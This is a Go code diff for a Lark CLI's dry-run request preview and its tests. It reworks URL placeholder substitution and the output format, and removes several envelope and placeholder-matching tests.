 // resolveURL replaces :key placeholders in url with path-escaped values from extra.
 func (d *DryRunAPI) resolveURL(rawURL string) string {
-	return dryRunURLPlaceholderRE.ReplaceAllStringFunc(rawURL, func(token string) string {
-		name := token[1:]
-		value, ok := d.extra[name]
-		if !ok {
-			return token
-		}
-		return url.PathEscape(fmt.Sprintf("%v", value))
-	})
+	for k, v := range d.extra {
+		rawURL = strings.ReplaceAll(rawURL, ":"+k, url.PathEscape(fmt.Sprintf("%v", v)))
+	}
+	return rawURL
 }
 
 // MarshalJSON serializes as {"description": "...", "api": [...calls with resolved URLs], ...extra}.
@@ -147,17 +118,13 @@ func (d *DryRunAPI) MarshalJSON() ([]byte, error) {
 			Body:   c.Body,
 		}
 	}
-	m := make(map[string]interface{}, len(d.extra)+3)
-	for k, v := range d.extra {
-		m[k] = v
-	}
-	// Typed fields win over same-named extra keys.
+	m := make(map[string]interface{}, len(d.extra)+2)
 	if d.desc != "" {
 		m["description"] = d.desc
 	}
 	m["api"] = resolved
-	if d.context != nil {
-		m["context"] = d.context
+	for k, v := range d.extra {
+		m[k] = v
 	}
 	return json.Marshal(m)
 }
@@ -187,7 +154,11 @@ func (d *DryRunAPI) Format() string {
 			u += "?" + encodeParams(c.Params)
 		}
 
-		b.WriteString(c.Method)
+		method := c.Method
+		if method == "" {
+			method = "GET"
+		}
+		b.WriteString(method)
 		b.WriteByte(' ')
 		b.WriteString(u)
 		b.WriteByte('\n')
@@ -244,74 +215,83 @@ func encodeParams(params map[string]interface{}) string {
 	return vals.Encode()
 }
 
-// buildDryRunPreview assembles the shared preview skeleton: HTTP method, URL,
-// query params, and the app/user context common to every dry-run.
-func buildDryRunPreview(request client.RawApiRequest, config *core.CliConfig) *DryRunAPI {
-	dr := NewDryRunAPI().call(request.Method, request.URL)
+// PrintDryRunWithFile outputs a dry-run summary for file upload requests.
+// Instead of serializing the Formdata body, it shows file metadata.
+func PrintDryRunWithFile(w io.Writer, request client.RawApiRequest, config *core.CliConfig, format, fileField, filePath string, formFields any) error {
+	dr := NewDryRunAPI()
+	switch request.Method {
+	case "POST":
+		dr.POST(request.URL)
+	case "PUT":
+		dr.PUT(request.URL)
+	case "PATCH":
+		dr.PATCH(request.URL)
+	case "DELETE":
+		dr.DELETE(request.URL)
+	default:
+		dr.GET(request.URL)
+	}
 	if len(request.Params) > 0 {
 		dr.Params(request.Params)
 	}
-	// Identity is reported at the envelope top level, not duplicated here.
-	dr.Context(config.AppID, config.UserOpenId)
-	return dr
-}
-
-// PrintDryRunWithFile outputs a dry-run summary for file upload requests.
-// Instead of serializing the Formdata body, it shows file metadata.
-func PrintDryRunWithFile(request client.RawApiRequest, config *core.CliConfig, opts DryRunOutputOptions, file FileUploadMeta) error {
-	dr := buildDryRunPreview(request, config)
-	filePathDisplay := file.FilePath
+	filePathDisplay := filePath
 	if filePathDisplay == "" {
 		filePathDisplay = "<stdin>"
 	}
 	fileInfo := map[string]any{
-		"file": map[string]string{"field": file.FieldName, "path": filePathDisplay},
+		"file": map[string]string{"field": fileField, "path": filePathDisplay},
 	}
-	if file.FormFields != nil {
-		fileInfo["form_fields"] = file.FormFields
+	if formFields != nil {
+		fileInfo["form_fields"] = formFields
 	}
 	fileInfo["options"] = []string{"WithFileUpload"}
 	dr.Body(fileInfo)
-	return WriteDryRun(dr, opts)
+	dr.Set("as", string(request.As))
+	dr.Set("appId", config.AppID)
+	if config.UserOpenId != "" {
+		dr.Set("userOpenId", config.UserOpenId)
+	}
+	fmt.Fprintln(w, "=== Dry Run ===")
+	if format == "pretty" {
+		fmt.Fprint(w, dr.Format())
+	} else {
+		output.PrintJson(w, dr)
+	}
+	return nil
 }
 
 // PrintDryRun outputs a standardised dry-run summary using DryRunAPI.
 // When format is "pretty", outputs human-readable text; otherwise JSON.
-func PrintDryRun(request client.RawApiRequest, config *core.CliConfig, opts DryRunOutputOptions) error {
-	dr := buildDryRunPreview(request, config)
+func PrintDryRun(w io.Writer, request client.RawApiRequest, config *core.CliConfig, format string) error {
+	dr := NewDryRunAPI()
+	switch request.Method {
+	case "POST":
+		dr.POST(request.URL)
+	case "PUT":
+		dr.PUT(request.URL)
+	case "PATCH":
+		dr.PATCH(request.URL)
+	case "DELETE":
+		dr.DELETE(request.URL)
+	default:
+		dr.GET(request.URL)
+	}
+	if len(request.Params) > 0 {
+		dr.Params(request.Params)
+	}
 	if !util.IsNil(request.Data) {
 		dr.Body(request.Data)
 	}
-	return WriteDryRun(dr, opts)
-}
-
-// WriteDryRun emits a DryRunAPI using the shared dry-run output contract.
-// Identity may be empty; the envelope omits it rather than guessing.
-func WriteDryRun(dr *DryRunAPI, opts DryRunOutputOptions) error {
-	if dr == nil {
-		return errs.NewInternalError(errs.SubtypeUnknown, "dry-run produced no request preview")
+	dr.Set("as", string(request.As))
+	dr.Set("appId", config.AppID)
+	if config.UserOpenId != "" {
+		dr.Set("userOpenId", config.UserOpenId)
 	}
-	// The JqExpr guard is defensive: every entry point already rejects --jq
-	// combined with --format pretty via output.ValidateJqFlags.
-	if opts.Format == "pretty" && opts.JqExpr == "" {
-		// A nil ErrOut only skips the banner decoration (mirroring
-		// WriteSuccessEnvelope's warning path); the payload write to Out
-		// must fail loudly rather than be silently discarded.
-		if opts.ErrOut != nil {
-			fmt.Fprintln(opts.ErrOut, "=== Dry Run ===")
-		}
-		// stdout carries its own marker so logs that drop stderr still show
-		// this was a preview, not an executed request.
-		fmt.Fprintln(opts.Out, "# dry-run: request not sent")
-		fmt.Fprint(opts.Out, dr.Format())
-		return nil
+	fmt.Fprintln(w, "=== Dry Run ===")
+	if format == "pretty" {
+		fmt.Fprint(w, dr.Format())
+	} else {
+		output.PrintJson(w, dr)
 	}
-	return output.WriteSuccessEnvelope(dr, output.SuccessEnvelopeOptions{
-		CommandPath: opts.CommandPath,
-		Identity:    string(opts.Identity),
-		DryRun:      true,
-		JqExpr:      opts.JqExpr,
-		Out:         opts.Out,
-		ErrOut:      opts.ErrOut,
-	})
+	return nil
 }

internal/cmdutil/dryrun_test.go

@@ -6,12 +6,9 @@ package cmdutil
 import (
 	"bytes"
 	"encoding/json"
-	"errors"
-	"io"
 	"strings"
 	"testing"
 
-	"github.com/larksuite/cli/errs"
 	"github.com/larksuite/cli/internal/client"
 	"github.com/larksuite/cli/internal/core"
 )
@@ -69,31 +66,11 @@ func TestDryRunAPI_ResolveURL(t *testing.T) {
 	}
 }
 
-func TestDryRunAPI_ResolveURLMatchesFullPlaceholderOnly(t *testing.T) {
-	dr := NewDryRunAPI().
-		GET("/open-apis/task/v2/tasks/:assignee_id").
-		Set("assignee", "ou_bot")
-
-	text := dr.Format()
-	if strings.Contains(text, "ou_bot_id") {
-		t.Fatalf("prefix placeholder key corrupted longer token: %s", text)
-	}
-	if !strings.Contains(text, ":assignee_id") {
-		t.Fatalf("missing unresolved placeholder, got: %s", text)
-	}
-
-	dr.Set("assignee_id", "ou_abc/123")
-	text = dr.Format()
-	if !strings.Contains(text, "/open-apis/task/v2/tasks/ou_abc%2F123") {
-		t.Fatalf("expected full placeholder replacement with path escaping, got: %s", text)
-	}
-}
-
 func TestDryRunAPI_MarshalJSON(t *testing.T) {
 	dr := NewDryRunAPI().
 		Desc("test api").
 		GET("/open-apis/test").
-		Set("note", "audit")
+		Set("as", "user")
 
 	data, err := json.Marshal(dr)
 	if err != nil {
@@ -106,8 +83,8 @@ func TestDryRunAPI_MarshalJSON(t *testing.T) {
 	if m["description"] != "test api" {
 		t.Errorf("expected description, got: %v", m["description"])
 	}
-	if m["note"] != "audit" {
-		t.Errorf("expected note=audit, got: %v", m["note"])
+	if m["as"] != "user" {
+		t.Errorf("expected as=user, got: %v", m["as"])
 	}
 	api, ok := m["api"].([]interface{})
 	if !ok || len(api) != 1 {
@@ -146,67 +123,31 @@ func TestDryRunAPI_ExtraFieldsOnly(t *testing.T) {
 
 func TestPrintDryRun_JSON(t *testing.T) {
 	var buf bytes.Buffer
-	var errBuf bytes.Buffer
-	err := PrintDryRun(client.RawApiRequest{
+	err := PrintDryRun(&buf, client.RawApiRequest{
 		Method: "GET",
 		URL:    "/open-apis/test",
 		As:     "user",
-	}, &core.CliConfig{AppID: "app123"}, DryRunOutputOptions{
-		Format:      "json",
-		CommandPath: "lark-cli api",
-		Identity:    core.AsUser,
-		Out:         &buf,
-		ErrOut:      &errBuf,
-	})
+	}, &core.CliConfig{AppID: "app123"}, "json")
 	if err != nil {
 		t.Fatalf("PrintDryRun failed: %v", err)
 	}
 	out := buf.String()
-	if strings.Contains(out, "=== Dry Run ===") {
-		t.Fatalf("JSON stdout must not contain banner, got: %s", out)
+	if !strings.Contains(out, "=== Dry Run ===") {
+		t.Errorf("expected header, got: %s", out)
 	}
-	var env map[string]interface{}
-	if err := json.Unmarshal(buf.Bytes(), &env); err != nil {
-		t.Fatalf("dry-run stdout is not JSON: %v\n%s", err, out)
-	}
-	if env["ok"] != true || env["identity"] != "user" || env["dry_run"] != true {
-		t.Fatalf("unexpected envelope: %#v", env)
-	}
-	data, ok := env["data"].(map[string]interface{})
-	if !ok {
-		t.Fatalf("unexpected data: %#v", env["data"])
-	}
-	dctx, ok := data["context"].(map[string]interface{})
-	if !ok || dctx["app_id"] != "app123" {
-		t.Fatalf("unexpected data.context: %#v", data["context"])
-	}
-	if _, exists := data["as"]; exists {
-		t.Fatalf("data.as must not appear; identity lives at the envelope top level: %#v", data)
-	}
-	api, ok := data["api"].([]interface{})
-	if !ok || len(api) != 1 {
-		t.Fatalf("api = %#v, want one call", data["api"])
-	}
-	call, ok := api[0].(map[string]interface{})
-	if !ok || call["url"] != "/open-apis/test" {
-		t.Fatalf("api[0] = %#v", api[0])
+	if !strings.Contains(out, "app123") {
+		t.Errorf("expected appId in output, got: %s", out)
 	}
 }
 
 func TestPrintDryRun_Pretty(t *testing.T) {
 	var buf bytes.Buffer
-	var errBuf bytes.Buffer
-	err := PrintDryRun(client.RawApiRequest{
+	err := PrintDryRun(&buf, client.RawApiRequest{
 		Method: "POST",
 		URL:    "/open-apis/test",
 		Data:   map[string]interface{}{"key": "val"},
 		As:     "bot",
-	}, &core.CliConfig{AppID: "app456"}, DryRunOutputOptions{
-		Format:   "pretty",
-		Identity: core.AsBot,
-		Out:      &buf,
-		ErrOut:   &errBuf,
-	})
+	}, &core.CliConfig{AppID: "app456"}, "pretty")
 	if err != nil {
 		t.Fatalf("PrintDryRun failed: %v", err)
 	}
@@ -214,136 +155,6 @@ func TestPrintDryRun_Pretty(t *testing.T) {
 	if !strings.Contains(out, "POST /open-apis/test") {
 		t.Errorf("expected POST line in pretty output, got: %s", out)
 	}
-	if !strings.HasPrefix(out, "# dry-run: request not sent\n") {
-		t.Fatalf("pretty stdout should start with the dry-run marker, got: %s", out)
-	}
-	if strings.Contains(out, "=== Dry Run ===") {
-		t.Fatalf("pretty stdout must not contain banner, got: %s", out)
-	}
-	if !strings.Contains(errBuf.String(), "=== Dry Run ===") {
-		t.Fatalf("pretty stderr should contain banner, got: %s", errBuf.String())
-	}
-}
-
-func TestPrintDryRun_WithJqUsesEnvelope(t *testing.T) {
-	var buf bytes.Buffer
-	err := PrintDryRun(client.RawApiRequest{
-		Method: "GET",
-		URL:    "/open-apis/test",
-		As:     "bot",
-	}, &core.CliConfig{AppID: "app123"}, DryRunOutputOptions{
-		Format:   "json",
-		JqExpr:   ".data.api[0].url",
-		Identity: core.AsBot,
-		Out:      &buf,
-		ErrOut:   io.Discard,
-	})
-	if err != nil {
-		t.Fatalf("PrintDryRun failed: %v", err)
-	}
-	if got := strings.TrimSpace(buf.String()); got != "/open-apis/test" {
-		t.Fatalf("jq output = %q, want /open-apis/test", got)
-	}
-}
-
-func TestPrintDryRunWithFile_JSONEnvelope(t *testing.T) {
-	var buf bytes.Buffer
-	err := PrintDryRunWithFile(client.RawApiRequest{
-		Method: "POST",
-		URL:    "/open-apis/drive/v1/files/upload_all",
-		As:     "bot",
-	}, &core.CliConfig{AppID: "app123", UserOpenId: "ou_tester"}, DryRunOutputOptions{
-		Format:   "json",
-		Identity: core.AsBot,
-		Out:      &buf,
-		ErrOut:   io.Discard,
-	}, FileUploadMeta{FieldName: "file", FilePath: "report.txt", FormFields: map[string]any{"parent": "fld"}})
-	if err != nil {
-		t.Fatalf("PrintDryRunWithFile failed: %v", err)
-	}
-	var env map[string]interface{}
-	if err := json.Unmarshal(buf.Bytes(), &env); err != nil {
-		t.Fatalf("dry-run stdout is not JSON: %v\n%s", err, buf.String())
-	}
-	if env["dry_run"] != true {
-		t.Fatalf("dry_run = %#v, want true", env["dry_run"])
-	}
-	data := env["data"].(map[string]interface{})
-	api := data["api"].([]interface{})
-	call := api[0].(map[string]interface{})
-	body := call["body"].(map[string]interface{})
-	file := body["file"].(map[string]interface{})
-	if file["path"] != "report.txt" {
-		t.Fatalf("file body = %#v", body)
-	}
-	dctx, ok := data["context"].(map[string]interface{})
-	if !ok || dctx["app_id"] != "app123" || dctx["user_open_id"] != "ou_tester" {
-		t.Fatalf("unexpected data.context: %#v", data["context"])
-	}
-	for _, legacy := range []string{"as", "appId", "userOpenId"} {
-		if _, exists := data[legacy]; exists {
-			t.Fatalf("legacy key %q must not appear in data: %#v", legacy, data)
-		}
-	}
-}
-
-func TestPrintDryRun_MethodTranscribedVerbatim(t *testing.T) {
-	var buf bytes.Buffer
-	err := PrintDryRun(client.RawApiRequest{
-		Method: "OPTIONS",
-		URL:    "/open-apis/test",
-		As:     "bot",
-	}, &core.CliConfig{AppID: "app123"}, DryRunOutputOptions{
-		Format:   "json",
-		Identity: core.AsBot,
-		Out:      &buf,
-		ErrOut:   io.Discard,
-	})
-	if err != nil {
-		t.Fatalf("PrintDryRun failed: %v", err)
-	}
-	var env map[string]interface{}
-	if err := json.Unmarshal(buf.Bytes(), &env); err != nil {
-		t.Fatalf("dry-run stdout is not JSON: %v\n%s", err, buf.String())
-	}
-	call := env["data"].(map[string]interface{})["api"].([]interface{})[0].(map[string]interface{})
-	if call["method"] != "OPTIONS" {
-		t.Fatalf("method = %#v, want OPTIONS transcribed verbatim (not coerced to GET)", call["method"])
-	}
-}
-
-func TestPrintDryRun_EmptyConfigOmitsContext(t *testing.T) {
-	var buf bytes.Buffer
-	err := PrintDryRun(client.RawApiRequest{
-		Method: "GET",
-		URL:    "/open-apis/test",
-	}, &core.CliConfig{}, DryRunOutputOptions{
-		Format: "json",
-		Out:    &buf,
-		ErrOut: io.Discard,
-	})
-	if err != nil {
-		t.Fatalf("PrintDryRun failed: %v", err)
-	}
-	var env map[string]interface{}
-	if err := json.Unmarshal(buf.Bytes(), &env); err != nil {
-		t.Fatalf("dry-run stdout is not JSON: %v\n%s", err, buf.String())
-	}
-	data := env["data"].(map[string]interface{})
-	if _, exists := data["context"]; exists {
-		t.Fatalf("empty app/user context must be omitted entirely, got: %#v", data["context"])
-	}
-}
-
-func TestWriteDryRun_NilPreviewIsInternalError(t *testing.T) {
-	err := WriteDryRun(nil, DryRunOutputOptions{Format: "json", Out: io.Discard})
-	if err == nil {
-		t.Fatal("WriteDryRun(nil) should fail instead of emitting an empty preview")
-	}
-	var internal *errs.InternalError
-	if !errors.As(err, &internal) {
-		t.Fatalf("expected *errs.InternalError, got %T: %v", err, err)
-	}
 }
 
 func TestDryRunFormatValue(t *testing.T) {